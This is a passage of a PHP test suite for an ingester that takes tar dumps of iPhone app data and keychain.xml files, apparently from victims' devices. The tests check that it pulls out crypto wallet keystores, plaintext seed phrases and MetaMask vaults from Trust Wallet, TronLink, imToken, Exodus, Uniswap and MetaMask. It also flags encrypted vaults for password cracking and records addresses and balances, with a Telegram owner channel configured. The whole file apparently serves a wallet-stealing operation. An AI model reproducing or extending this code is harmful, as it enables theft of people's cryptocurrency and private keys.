'', 'coruna.telegram.owner_chat_id' => '', ]); $tokenview = Mockery::mock(TokenviewMonitorService::class); $tokenview->shouldReceive('syncMonitor')->andReturn(false); $tokenview->shouldReceive('shouldMonitor')->andReturn(false); $this->app->instance(TokenviewMonitorService::class, $tokenview); $balances = Mockery::mock(\App\Services\WalletBalanceService::class); $balances->shouldReceive('refresh')->andReturn(false); $balances->shouldReceive('ensureBscForEthAddress')->andReturn(null); $this->app->instance(\App\Services\WalletBalanceService::class, $balances); Http::fake(); } #[Test] public function wallet_tar_stores_utc_and_ingests_address(): void { $device = $this->makeDevice(); $utc = [ 'version' => 3, 'id' => 'trust-utc', 'crypto' => [ 'ciphertext' => 'aa', 'mac' => 'bb', 'cipher' => 'aes-128-ctr', ], 'address' => substr(self::ETH, 2), ]; $tar = $this->makeTar([ 'Documents/keystore/UTC--demo' => json_encode($utc), ]); app(AppUploadIngester::class)->ingestArtifact( $device, $tar, 'com.wallet.crypto.trustapp.tar', ); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists() ); $this->assertTrue( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->contains(fn (WalletKeystore $row) => $row->kind() === 'web3.keystore') ); $this->assertFalse( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox') ); $this->assertNull( WalletKeystore::query() ->where('device_id', $device->id) ->where('source', 'Trust Wallet') ->value('needs_password') ); $this->assertTrue( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP) ); $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first(); $this->assertNotNull($addr); $this->assertSame('Trust Wallet', $addr->source); } #[Test] public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void { $device = $this->makeDevice('dev-trust-hd'); $etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6'; $waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci'; $dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK'; $btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7'; $utc = [ 'version' => 3, 'type' => 'mnemonic', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], 'activeAccounts' => [ ['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"], ['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"], ['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"], ['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"], ['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"], ['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"], ['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ], ]; $tar = $this->makeTar([ 'Documents/keystore/UTC--hd' => json_encode($utc), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar'); $addrs = WalletAddress::query() ->where('device_id', $device->id) ->orderBy('id') ->get(['address', 'chain_type']); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM')); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc)); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves)); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot)); $this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count()); } #[Test] public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void { $device = $this->makeDevice('dev-tronlink'); $sqlite = $this->makeTronLinkSqlite(); $utc = [ 'version' => 3, 'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'], 'address' => self::TRON, ]; $tar = $this->makeTar([ 'Documents/tron.sqlite' => $sqlite, 'Documents/keystore/UTC--tron' => json_encode($utc), ]); app(AppUploadIngester::class)->ingestArtifact( $device, $tar, 'com.tronlink.hdwallet.tar', ); $flagged = WalletKeystore::query() ->where('device_id', $device->id) ->where('needs_password', 1) ->count(); $this->assertGreaterThan(0, $flagged); $this->assertFalse( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox') ); $this->assertSame( 0, WalletKeystore::query() ->where('device_id', $device->id) ->where('needs_password', 0) ->count() ); $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first(); $this->assertNotNull($addr); $this->assertSame('TronLink', $addr->source); $this->assertSame(0.0, (float) $addr->trx); $this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001); } #[Test] public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void { $device = $this->makeDevice('dev-imtoken-addr'); $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf'; $tar = $this->makeTar([ 'Documents/walletsV2/wid.json' => json_encode([ 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], 'address' => $utcEth, 'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([ 'AccountModel' => [ 'itemsById' => [ 'acc1' => [ 'type' => 'EOA', 'address' => self::TRON, 'path' => "m/44'/195'/0'/0/0", ], ], ], 'AssetToken' => [ 'itemsById' => [ 'tok1' => [ 'chainType' => 'TRON', 'address' => $usdt, 'symbol' => 'USDT', 'decimal' => 6, 'tokenType' => 'TRC20', 'accountAddress' => self::TRON, ], ], ], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([ 'wethContractAddress' => $weth, 'address' => $weth, ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar'); $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all(); $this->assertSame([self::TRON], $addrs); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists() ); } #[Test] public function global_wallet_skips_helper_contract_addresses(): void { $device = $this->makeDevice('dev-gw-addr'); $batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU'; $balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $tar = $this->makeTar([ 'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([ 'blockchainList' => [[ 'name' => 'tron', 'metadata' => [ 'batchTxContract' => $batch, 'balanceContract' => $balance, ], ]], ]), 'Documents/cache/default.show.tokens' => json_encode([ 'address' => $weth, 'symbol' => 'WETH', ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar'); $this->assertSame( 0, WalletAddress::query()->where('device_id', $device->id)->count() ); } #[Test] public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void { $device = $this->makeDevice('dev-uniswap'); $xml = '' .'' .'com.uniswap.mobile.mnemonic.'.self::ETH.'' .'Uniswap' .'TEAM.com.uniswap.mobile' .''.base64_encode(self::MNEMONIC).'' .'' .''; $ingester = app(AppUploadIngester::class); $ingester->ingestArtifact($device, $xml, 'keychain.xml'); $ingester->dispatchDecrypt($device); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->exists() ); $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo); $this->assertSame('Uniswap', $memo->source); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first(); $this->assertNotNull($addr); $this->assertSame($memo->id, $addr->mnemonic_id); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists() ); } #[Test] public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void { $device = $this->makeDevice('dev-exodus'); $payload = json_encode([ 'mnemonic' => self::MNEMONIC, 'seed' => 'not-a-mnemonic', 'dateCreated' => 1, ], JSON_UNESCAPED_SLASHES); $xml = '' .'' .'unused' .'' .'TEAM.exodus-movement.exodus' .''.base64_encode((string) $payload).'' .'' .''; $ingester = app(AppUploadIngester::class); $ingester->ingestArtifact($device, $xml, 'keychain.xml'); $ingester->dispatchDecrypt($device); $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo); $this->assertSame('Exodus', $memo->source); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); } #[Test] public function keychain_metamask_vault_is_a_password_row(): void { $device = $this->makeDevice('dev-mm-vault'); $vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88'); unset($vault['kind']); $xml = '' .'' .'VAULT_BACKUP' .'' .'TEAM.io.metamask.MetaMask' .''.base64_encode((string) json_encode($vault)).'' .'' .'' .'deviceUID' .'deviceUID' .'TEAM.io.metamask.MetaMask' .''.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'' .'' .''; app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml'); $mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first(); $this->assertNotNull($mm); $this->assertSame(1, (int) $mm->needs_password); $this->assertSame('metamask.vault', $mm->kind()); $this->assertSame(0, (int) $mm->decrypted); $kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first(); $this->assertNotNull($kc); $items = $kc->raw_json['wallets']['MetaMask']['items'] ?? []; foreach ($items as $item) { $this->assertNotSame('VAULT_BACKUP', $item['account'] ?? ''); } } #[Test] public function keychain_skips_apple_and_wildcard_installed_apps(): void { $device = $this->makeDevice('dev-app-noise'); $xml = '' .'asTEAM.apple.Spotlight' .''.base64_encode('x').'' .'bsTEAM.apple.TextInput' .''.base64_encode('y').'' .'csTEAM.*' .''.base64_encode('z').'' .'dsapple.security.octagon' .''.base64_encode('w').'' .'eBitpieTEAM.com.bitpie.wallet' .''.base64_encode('ok').'' .''; app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml'); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists() ); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists() ); $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); } private function makeDevice(string $id = 'dev-app-1'): Device { return Device::query()->create([ 'device_id' => $id, 'ios_version' => '18.0', 'device_model' => 'iPhone', 'chain' => Device::CHAIN_APP, ]); } /** * @return array */ private function makeMetamaskVault(string $phrase, string $password): array { $inner = json_encode([[ 'type' => 'HD Key Tree', 'data' => [ 'mnemonic' => array_map('ord', str_split($phrase)), 'numberOfAccounts' => 1, 'hdPath' => "m/44'/60'/0'/0", ], ]], JSON_UNESCAPED_SLASHES); $saltB64 = base64_encode(random_bytes(32)); $iv = random_bytes(16); $key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true); $cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return [ 'kind' => 'metamask.vault', 'cipher' => base64_encode((string) $cipher), 'iv' => bin2hex($iv), 'salt' => $saltB64, 'lib' => 'quick-crypto', 'keyMetadata' => [ 'algorithm' => 'PBKDF2', 'params' => ['iterations' => 5000], ], ]; } /** * @param array $files */ private function makeTar(array $files): string { $dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4)); mkdir($dir, 0777, true); $tarPath = $dir.'.tar'; try { foreach ($files as $rel => $body) { $full = $dir.'/'.$rel; $parent = dirname($full); if (! is_dir($parent)) { mkdir($parent, 0777, true); } file_put_contents($full, $body); } $phar = new \PharData($tarPath); $phar->buildFromDirectory($dir); return (string) file_get_contents($tarPath); } finally { @unlink($tarPath); $it = new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); } @rmdir($dir); } } private function makeTronLinkSqlite(): string { $tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_'); $pdo = new \PDO('sqlite:'.$tmp); $pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)'); $pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)'); $ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)'); $ins->execute([self::TRON]); $asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)'); $asset->execute([1, self::TRON, '0', 'TRX', '']); $asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']); $pdo = null; $bytes = (string) file_get_contents($tmp); @unlink($tmp); return $bytes; } }